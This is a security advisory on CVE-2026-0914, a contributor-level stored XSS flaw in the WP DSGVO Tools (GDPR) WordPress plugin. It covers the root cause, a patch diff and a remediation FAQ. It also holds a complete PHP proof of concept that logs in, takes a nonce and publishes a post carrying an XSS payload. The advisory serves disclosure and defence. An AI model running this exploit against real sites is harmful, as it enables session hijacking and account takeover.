Atomic Edge analysis of CVE-2026-0914:
This is an authenticated stored Cross-Site Scripting (XSS) vulnerability in the WP DSGVO Tools (GDPR) WordPress plugin, affecting versions up to and including 3.1.36. The vulnerability exists within the plugin’s ‘lw_content_block’ shortcode handler, allowing contributors and higher-privileged users to inject malicious scripts that execute for any user viewing a page containing the compromised shortcode.
The root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. In the vulnerable file `shapepress-dsgvo/public/shortcodes/content-block-shortcode.php`, the `$shortcode` variable is directly assigned from the `$params[‘shortcode’]` array without validation (line 13). This unsanitized value is later used to construct and execute a shortcode via `do_shortcode()`. Furthermore, when the `$embeddingApi` variable is null, the function returns the raw `$content` variable without escaping (line 17).
An attacker with contributor-level access or higher can exploit this by creating or editing a post or page. They would insert the plugin’s shortcode with a malicious payload in the ‘shortcode’ attribute. For example: [lw_content_block shortcode=”“]. The payload would be stored in the database and executed whenever the page is loaded by a victim, as the malicious attribute value is passed directly to `do_shortcode()` without sanitization.
The patch addresses the vulnerability in two locations within the same file. First, it applies `sanitize_key()` to the `$params[‘shortcode’]` input (line 13), which restricts the value to lowercase alphanumeric characters, underscores, and hyphens, stripping any HTML or JavaScript. Second, it wraps the returned `$content` in `wp_kses_post()` when the `$embeddingApi` is null (line 17). This function escapes HTML content, allowing only safe, white-listed tags and attributes, thereby neutralizing any script payloads that might have been injected.
Successful exploitation allows an attacker to inject arbitrary JavaScript, which executes in the context of an authenticated victim’s browser. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. Attackers could also perform actions on behalf of the victim, such as changing passwords or publishing new content, depending on the victim’s privilege level.
Differential between vulnerable and patched code
Code Diff
--- a/shapepress-dsgvo/public/shortcodes/content-block-shortcode.php
+++ b/shapepress-dsgvo/public/shortcodes/content-block-shortcode.php
@@ -13,11 +13,11 @@
global $OL3_LIBS_LOADED;
//$OL3_LIBS_LOADED = 0;
- $shortcode = $params['shortcode'];
+ $shortcode = sanitize_key($params['shortcode']);
if (empty($shortcode) == false) $content = do_shortcode("[" . $shortcode ."]");
$embeddingApi = SPDSGVOEmbeddingsManager::getInstance()->getEmbeddingApiBySlug($slug);
- if ($embeddingApi == null) return $content;
+ if ($embeddingApi == null) return wp_kses_post($content);
// if its allowed by cookie nothing is to do here. otherwise replace iframes, show image, add optin handler
if ($embeddingApi->checkIfIntegrationIsAllowed($embeddingApi->slug) == true) return $content;
--- a/shapepress-dsgvo/sp-dsgvo.php
+++ b/shapepress-dsgvo/sp-dsgvo.php
@@ -16,7 +16,7 @@
* Plugin Name: WP DSGVO Tools (GDPR)
* Plugin URI: https://legalweb.io
* Description: WP DSGVO Tools (GDPR) help you to fulfill the GDPR (DGSVO) compliance guidance (<a target="_blank" href="https://ico.org.uk/for-organisations/data-protection-reform/overview-of-the-gdpr/">GDPR</a>)
- * Version: 3.1.36
+ * Version: 3.1.37
* Author: legalweb
* Author URI: https://www.legalweb.io
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
@@ -28,7 +28,7 @@
die();
}
-define('sp_dsgvo_VERSION', '3.1.36');
+define('sp_dsgvo_VERSION', '3.1.37');
define('sp_dsgvo_NAME', 'sp-dsgvo');
define('sp_dsgvo_PLUGIN_NAME', 'shapepress-dsgvo');
define('sp_dsgvo_LEGAL_TEXTS_MIN_VERSION', '1579021814');
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0914 - WP DSGVO Tools (GDPR) <= 3.1.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'lw_content_block' Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor';
$password = 'password';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, get the login page to retrieve the nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
$login_page = curl_exec($ch);
preg_match('/name="log"[^>]+value="([^"]*)"?/', $login_page, $log_match);
preg_match('/name="pwd"[^>]+value="([^"]*)"?/', $login_page, $pwd_match);
// Perform login
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);
// Check if login was successful by attempting to access the post creation page
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract the nonce required for creating a post
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Craft the malicious post content with the vulnerable shortcode
// The payload uses a nested shortcode attribute to trigger XSS via the caption shortcode
$malicious_content = '[lw_content_block shortcode="[caption width="1" caption="<img src=x onerror=alert("XSS")>"]"]';
// Prepare POST data to create a new post with the payload
$post_data = [
'post_title' => 'Test Post with XSS',
'content' => $malicious_content,
'publish' => 'Publish',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'post_type' => 'post',
'post_status' => 'publish'
];
// Submit the post creation request
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);
// Check for success
if (strpos($result, 'Post published.') !== false) {
echo "[+] Exploit successful. Post containing XSS payload published.n";
// Extract the post URL from the response for verification
preg_match('/class="edit-post-link" href="([^"]+)"/', $result, $post_link_matches);
if (!empty($post_link_matches[1])) {
echo "[+] Post URL: " . htmlspecialchars($post_link_matches[1]) . "n";
echo "[+] Visit the post to trigger the XSS payload.n";
}
} else {
echo "[-] Exploit failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-0914?
Overview of the vulnerability
CVE-2026-0914 is a stored Cross-Site Scripting (XSS) vulnerability in the WP DSGVO Tools (GDPR) plugin for WordPress. It affects versions up to and including 3.1.36, allowing authenticated users with contributor-level access or higher to inject malicious scripts via the ‘lw_content_block’ shortcode.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping for user-supplied attributes in the shortcode. An attacker can insert a malicious payload when creating or editing a post, which is then stored in the database and executed whenever a user accesses the compromised page.
Who is affected by this vulnerability?
Identifying affected users
Any WordPress site using the WP DSGVO Tools (GDPR) plugin version 3.1.36 or earlier is vulnerable. Specifically, users with contributor-level access or higher can exploit this vulnerability, potentially affecting all users who view the compromised content.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is vulnerable, check the version of the WP DSGVO Tools (GDPR) plugin installed. If it is version 3.1.36 or earlier, your site is at risk. You can find the version in the WordPress admin panel under Plugins.
How can I fix this vulnerability?
Steps to mitigate the issue
To fix this vulnerability, update the WP DSGVO Tools (GDPR) plugin to version 3.1.37 or later, where the issue has been patched. Regularly updating all plugins and themes is essential for maintaining site security.
What does the CVSS score of 6.4 indicate?
Understanding risk levels
A CVSS score of 6.4 indicates a medium severity level for this vulnerability. This means that while it requires some level of user authentication to exploit, it poses a significant risk to site integrity and user security if left unaddressed.
What are the practical risks of this vulnerability?
Potential consequences of exploitation
If exploited, this vulnerability can lead to session hijacking, account takeover, or defacement of the site. Attackers may execute arbitrary JavaScript in the context of an authenticated user’s browser, potentially allowing them to perform actions on behalf of the user.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept demonstrates how an attacker can log into a vulnerable WordPress site, create or edit a post, and insert a malicious shortcode. This illustrates how the vulnerability can be exploited in practice, highlighting the ease with which an attacker can inject harmful scripts.
How does the patch address the vulnerability?
Details of the fix
The patch for this vulnerability applies input sanitization using the `sanitize_key()` function to the shortcode parameter and wraps the returned content in `wp_kses_post()` to escape any potentially harmful HTML. These changes prevent the injection of malicious scripts.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates cannot be performed, consider disabling the WP DSGVO Tools (GDPR) plugin until it can be updated. Additionally, review user roles and limit access to contributors or higher until the vulnerability is resolved.
Are there any additional security measures I should take?
Enhancing overall site security
In addition to updating the plugin, ensure that your WordPress site is running the latest version, use strong passwords, and implement security plugins that monitor for vulnerabilities. Regular backups and security audits can also help protect your site.
Where can I find more information about CVE-2026-0914?
Resources for further reading
More information about CVE-2026-0914 can be found on the National Vulnerability Database or security advisories from WordPress security resources. Keeping up with security updates and advisories is crucial for all WordPress administrators.
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